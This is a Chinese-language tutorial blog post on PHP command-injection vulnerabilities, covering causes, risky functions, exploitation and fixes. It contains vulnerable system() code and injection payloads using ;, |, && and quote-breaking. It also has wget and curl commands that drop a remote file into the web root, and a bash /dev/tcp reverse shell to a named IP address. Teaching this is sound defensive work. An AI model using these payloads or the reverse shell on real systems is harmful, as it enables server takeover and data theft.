Web安全之命令執行漏洞

內容:
命令執行漏洞的概述
命令執行漏洞的危害
命令執行漏洞的利用
命令執行漏洞的防禦

背景介紹
程序員使用腳本語言(比如PHP)開發應用程序過程中,腳本語言開發十分快速、簡潔,方便,但是也伴隨着一些問題。比如說速度慢,或者無法接觸系統底層,如果我們開發的應用,特別是企業級的一些應用需要去調用一些外部程序。當應用需要調用一些外部程序時就會用到一些執行系統命令的函數。

成因
應用在調用這些函數執行系統命令的時候,如果將用戶的輸入作爲系統命令的參數拼接到命令行中,在沒有過濾用戶的輸入的情況下,就會造成命令執行漏洞。

相關函數
在PHP中可以調用外部程序的常見函數:

  • system(args) 有回顯
  • passthru(args)(有回顯)
  • exec(args) (回顯最後一行-必須echo輸出)
  • shell_exec(args) (無回顯-必須輸出)
  • 反引號:``
  • popen(handle,mode)(無回顯)
  • proc_open(‘cmd’,‘flag’,‘flag’)(無回顯)
  • $process = proc_open(‘dir’,$des,$pipes);
  • echo stream_get_contents($pipes[1]);

漏洞危害

  • 繼承Web服務器程序的權限,去執行系統命令
  • 繼承Web服務器程序的權限,讀寫文件
  • 反彈shell
  • 控制整個網站
  • 甚至控制整個服務器

system()函數漏洞利用_1

<?php
$arg = $_GET[‘cmd’];

if($arg){
	system(“$arg”);
}
?>

• /?cmd=id
• /?cmd=pwd
• /?cmd=ifconfig

system()函數漏洞利用_2

<?php
$arg = $_GET[‘cmd’];

if($arg){
	system(“ping –c 3 $arg”);
}
?>

我們能夠控制的點是程序的整個參數,我們可以直接用&&或|等等,利用與、或、管道命令來執行其他命令。
• /?cmd=127.0.0.1| ifconfig

System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分號 ”;”
|,||,%26,%26%26,
中間加任意字符,後面都會執行-,//,/*/

system()函數漏洞利用_3

<?php
$arg = $_GET[‘cmd’];

if($arg){
	system(“ls –al \“$arg\””);
    // ls –al “”;ifconfig;”
}
?>

邏輯與短路

<?php
if ($a = 100 | $b =100) {
	\# code...
}

// 短路與&&的特點,前面如果爲真,才執行後面的,如果爲假,都不執行。
// 邏輯與&的特點,前面無論真假,後面都執行
// 短路或||&的特點,前面如果爲真,後面的不執行了,前面爲假,後面執行
// 邏輯或|前面無論真假,後面都執行

echo "<pre>";
var_dump($a);
var_dump($b);
?>

• /?cmd=/home” ; ifconfig;”
• /?cmd=/home” | ifconfig;”
• /?cmd=/home” %26 ifconfig;”
• /?cmd=/home” %26%26 ifconfig;”

system()函數利用_4

<?php
$arg = $_GET[‘cmd’];

if($arg){
	system(“ls –al ‘$arg’”);
}
?>

在單引號內的話,變量不能被解析,因此要想執行命令必須閉合單引號。
• /cmd?=/home’|ipconfig ’

漏洞利用
如果有寫權限的話

  1. 執行pwd得到絕對路徑
  2. 寫文件:
    • ?cmd=echo"<?php phpinfo()?>" > /var/www/html/info.php
    • ?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
    • ?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php

反彈shell
公網服務器執行 nc –lvv 8888

目標服務器上執行
• ?cmd= bash -i >& /dev/tcp/211.149.191.5/9999 0>&1

漏洞修復方案
• 能使用腳本解決的工作,不要調用其他程序處理,儘量少用執行命令的函數,並在disabl_functions中禁用。
• 在進入命令執行的函數或方法之前,對參數進行過濾。
• 參數的值儘量使用引號包裹,並在拼接前調用addslashes進行轉義。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章